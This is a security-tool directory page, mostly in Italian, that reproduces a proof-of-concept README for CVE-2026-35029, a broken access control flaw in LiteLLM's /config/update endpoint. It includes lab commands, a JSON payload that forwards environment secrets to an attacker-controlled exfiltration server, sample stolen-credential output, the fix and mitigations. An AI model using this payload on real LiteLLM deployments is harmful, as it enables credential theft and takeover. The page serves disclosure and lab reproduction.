Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-35029-PoC — Il codice per riprodurre personalmente la relativa vulnerabilità | Kitploit
Strumenti/GitHubGitHub/learner202649/cve-2026-35029-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebEsfiltrazione DatiPenetration TestingApprendimento e FormazioneLab e Pratica
GitHublearner202649/cve-2026-35029-poc

CVE-2026-35029-PoC

Il codice per riprodurre personalmente la relativa vulnerabilità

Vedi Repository
43 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-35029 — LiteLLM /config/update vulnerabilità di accesso non autorizzato (Broken Access Control)

LiteLLM's endpoint /config/update non controlla i permessi di ruolo del chiamante. Qualsiasi utente autenticato con una chiave API valida (senza privilegi di amministratore) può modificare la configurazione del proxy, registrare endpoint Pass-Through malevoli per realizzare attacchi come furto di variabili d'ambiente, lettura arbitraria di file, esecuzione di codice remoto.

FieldValue
CVECVE-2026-35029
CVSS v4.08.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N
CVSS v3.18.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-863 (Incorrect Authorization) / CWE-285 (Improper Authorization)
AffectedLiteLLM < 1.83.0
Fixedv1.83.0+ (aggiunto controllo del ruolo proxy_admin su /config/update)
Published2026-04-06
Discovered byTimo Müller — SEC Consult Vulnerability Lab (Munich)
Found2026-02-24
LinksGHSA-53mr-6c8q-9789 • NVD • SEC Consult

Descrizione

L'endpoint /config/update di LiteLLM dovrebbe essere chiamabile solo dal ruolo proxy_admin, ma prima della versione v1.83.0 non effettuava alcun controllo di ruolo. Qualsiasi utente con una chiave API valida può chiamare questo endpoint.

Vettori di attacco

Tipo di attaccoDescrizione
Furto di variabili d'ambienteRegistrare un endpoint Pass-Through e rubare DATABASE_URL, LITELLM_MASTER_KEY, ecc. tramite intestazioni che referenziano os.environ/VAR_NAME
Lettura arbitraria di fileSfruttare la codifica Base64 delle intestazioni LANGFUSE_* per leggere file dal filesystem del server
Manipolazione della configurazioneSovrascrivere UI_USERNAME, UI_PASSWORD per dirottare l'account amministratore
Esecuzione di codice remotoRegistrare un gestore di endpoint Pass-Through che punta a codice Python controllato dall'attaccante

Impatto

  • Utente con privilegi bassi → pieni privilegi di amministratore
  • Divulgazione di variabili d'ambiente sensibili (credenziali database, chiavi API, credenziali cloud)
  • Lettura arbitraria di file (file di configurazione, certificati, file shadow)
  • Possibilità di concatenazione con altre vulnerabilità (CVE-2026-35030)

Proof of Concept

Quick Start (Docker)

⚠️ Important: The docker-compose.yml pins the vulnerable image to a specific digest (sha256:5beb4ea6...) from January 24, 2026. Do not change it to main-v1.81.0-stable or any other mutable tag — later images may have been rebuilt with fixes, breaking reproduction.

root@kitploit:~
# 1. 启动脆弱版 LiteLLM + 攻击者数据接收服务器
docker compose up -d

# 2. 安装依赖
pip install -r requirements.txt

# 3. 运行完整攻击链(环境变量窃取 + 文件读取)
python3 exploit/exploit.py --mode full-chain \
  --target http://localhost:4000 \
  --key sk-litellm-master-key

# 4. 仅窃取环境变量
python3 exploit/exploit.py --mode exfil \
  --target http://localhost:4000 \
  --key sk-litellm-master-key

# 5. (可选)验证修复版本不受影响
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode full-chain \
  --target http://localhost:4001 \
  --key sk-litellm-master-key --fixed

Attenzione: al primo avvio dei contenitori attendere circa 30-60 secondi (controllo salute di PostgreSQL + migrazione Prisma del database); eseguire l'exploit solo quando nel log del contenitore appare Uvicorn running on http://0.0.0.0:4000.

Output previsto

Furto di variabili d'ambiente:

root@kitploit:~
======================================================================
[VULNERABLE] Phase 1: Environment Variable Exfiltration
======================================================================

[*] Step 1: Registering pass-through endpoint via /config/update...
    Payload: {
        "general_settings": {
            "pass_through_endpoints": [
                {
                    "path": "/exfil/env",
                    "target": "http://exfil-server:9999/collect",
                    "headers": {
                        "X-Exfil-1-LITELLM_MASTER_KEY": "os.environ/LITELLM_MASTER_KEY",
                        "X-Exfil-2-DATABASE_URL": "os.environ/DATABASE_URL",
                        "X-Exfil-3-AWS_SECRET_ACCESS_KEY": "os.environ/AWS_SECRET_ACCESS_KEY",
                        "X-Exfil-4-OPENAI_API_KEY": "os.environ/OPENAI_API_KEY"
                    }
                }
            ]
        }
    }
    HTTP 200
    [+] Config update accepted!

[*] Step 2: Waiting for pass-through route propagation...
    6 seconds...

[*] Step 3: Triggering pass-through endpoint at /exfil/env...
    HTTP 200
    Response: {"status":"received","message":"Data captured by exfiltration server"}

[*] Step 4: Checking exfiltration server for stolen data...

[🔥] EXFILTRATION LOGS:
────────────────────────────────────────────────────────────
📥 Request received
   Path  : /collect
   Headers:
     X-Exfil-1-LITELLM_MASTER_KEY: sk-litellm-master-key
     X-Exfil-2-DATABASE_URL: postgresql://admin:[email protected]:5432/production
     X-Exfil-3-AWS_SECRET_ACCESS_KEY: AKIA1234567890EXAMPLE
     X-Exfil-4-OPENAI_API_KEY: sk-openai-secret-key-leaked

[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!

Versione corretta nega l'accesso (con chiave non amministrativa restituisce 403):

root@kitploit:~
======================================================================
[FIXED] Phase 1: Environment Variable Exfiltration
======================================================================
    HTTP 403
    [-] Forbidden — target may be patched (v1.83.0+)
    [+] Expected: fixed version blocks non-admin config updates

Nota: se si utilizza la Master Key (sk-litellm-master-key) per testare la versione corretta, l'aggiornamento della configurazione restituirà comunque HTTP 200 (la Master Key ha il ruolo proxy_admin), ma la registrazione dell'endpoint Pass-Through potrebbe non avere effetto o essere ignorata silenziosamente. Si consiglia di utilizzare una chiave non amministrativa per verificare la correzione.


Dettaglio della catena d'attacco

root@kitploit:~
 ┌──────────────┐     ┌─────────────────┐     ┌───────────────────┐
 │ 攻击者        │     │  LiteLLM Proxy   │     │ Exfiltration 服务  │
 │ (低权限 Key)  │     │ (< v1.83.0)     │     │ (攻击者控制)       │
 └──────┬───────┘     └────────┬────────┘     └────────┬──────────┘
        │                      │                       │
        │ 1. POST /config/update                       │
        │    {pass_through_endpoints:                  │
        │      [{path, target, headers:                │
        │        {X-DB: "os.environ/DATABASE_URL"}}]}  │
        │─────────────────────→│                       │
        │                      │                       │
        │    HTTP 200 (OK!)    │                       │
        │←─────────────────────│                       │
        │                      │                       │
        │ 2. GET /exfil/env    │                       │
        │─────────────────────→│                       │
        │                      │ 3. Forward request    │
        │                      │    + resolved headers │
        │                      │    (含 DATABASE_URL)  │
        │                      │──────────────────────→│
        │                      │                       │
        │                      │    HTTP 200           │
        │                      │←──────────────────────│
        │←─────────────────────│                       │
        │                      │                       │
        │ 4. 读取 /logs 确认结果                       │
        │─────────────────────────────────────────────→│
        │←─ [🔥] 窃取到 DATABASE_URL ─────────────────│

Ambiente

root@kitploit:~
CVE-2026-35029/
├── README.md                    # This file
├── docker-compose.yml           # PostgreSQL db + vulnerable/fixed LiteLLM + exfil server
├── litellm_config.yaml          # LiteLLM base config
├── requirements.txt             # Python dependencies (PoC)
├── exfil-server/
│   ├── Dockerfile               # Exfiltration server image
│   └── server.py                # Captures stolen data (Python HTTP)
├── exploit/
│   ├── exploit.py               # Main exploit script
│   └── payload.py               # Payload builder module
├── docs/
│   └── advisory.md              # Advisory reference
└── screenshots/
    └── README.md                # Proof screenshots placeholder

Correzione

La versione v1.83.0 ha aggiunto un controllo del ruolo proxy_admin nel gestore di /config/update:

root@kitploit:~
# 修复前 (v1.83.0 之前) — 无角色检查
@router.post("/config/update")
async def update_config(request: Request):
    ...  # 任何已认证用户均可调用

# 修复后 (v1.83.0+) — 需要 proxy_admin 角色
@router.post("/config/update")
@require_role("proxy_admin")  # ← 新增角色检查
async def update_config(request: Request):
    ...

Commit: 57c05459ae9b4e607bfb35228ec13a3ee8586ce4

Misure di mitigazione

  1. Aggiornare immediatamente LiteLLM alla v1.83.0+
  2. Limitare l'accesso di rete all'endpoint /config/update
  3. Revisionare l'utilizzo di tutte le chiavi API e ruotare eventuali credenziali potenzialmente esposte
  4. Monitorare richieste anomale di aggiornamento della configurazione

Riferimenti

  • GitHub Security Advisory GHSA-53mr-6c8q-9789
  • SEC Consult Advisory
  • NVD Detail
  • LiteLLM Security Hardening (April 2026)
  • LiteLLM Pass-Through Endpoints Docs

Disclaimer: Questo contenuto è fornito a scopo educativo e per test di sicurezza autorizzati esclusivamente.

Scarica lo strumento